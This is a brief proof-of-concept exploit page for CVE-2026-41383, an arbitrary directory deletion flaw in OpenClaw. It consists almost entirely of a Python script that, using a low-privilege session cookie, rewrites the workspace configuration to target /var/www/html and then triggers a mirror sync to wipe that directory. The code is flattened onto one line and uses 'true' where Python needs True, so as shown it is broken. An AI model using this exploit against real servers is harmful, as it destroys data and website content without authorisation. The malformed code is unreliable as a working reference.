CVE-2026-41383 OpenClaw 任意目录删除漏洞

import requests import json # Exploit Title: OpenClaw Arbitrary Directory Deletion PoC # Description: Manipulates remoteWorkspaceDir to delete a target directory on the server. TARGET_URL = "http://vulnerable-openclaw-instance:8080/api/config" SESSION_COOKIE = "session_id_of_low_priv_user" # The directory on the remote server the attacker wants to delete MALICIOUS_TARGET_DIR = "/var/www/html" # Payload to manipulate configuration payload = { "remoteWorkspaceDir": MALICIOUS_TARGET_DIR, "remoteAgentWorkspaceDir": MALICIOUS_TARGET_DIR, "mirrorMode": true, "forceSync": true } headers = { "Cookie": f"session={SESSION_COOKIE}", "Content-Type": "application/json" } try: # Step 1: Update the configuration to point to the sensitive directory print(f"[*] Attempting to update remoteWorkspaceDir to: {MALICIOUS_TARGET_DIR}") response = requests.post(TARGET_URL, headers=headers, data=json.dumps(payload)) if response.status_code == 200: print("[+] Configuration updated successfully.") print("[+] Triggering sync operation...") # Step 2: Trigger the mirror sync (this might happen automatically or via a specific endpoint) sync_url = TARGET_URL.replace("/config", "/sync") sync_resp = requests.post(sync_url, headers=headers) if sync_resp.status_code == 200: print(f"[!] Exploit successful. Directory {MALICIOUS_TARGET_DIR} should be deleted/replaced.") else: print("[-] Failed to trigger sync.") else: print(f"[-] Failed to update configuration. Status: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")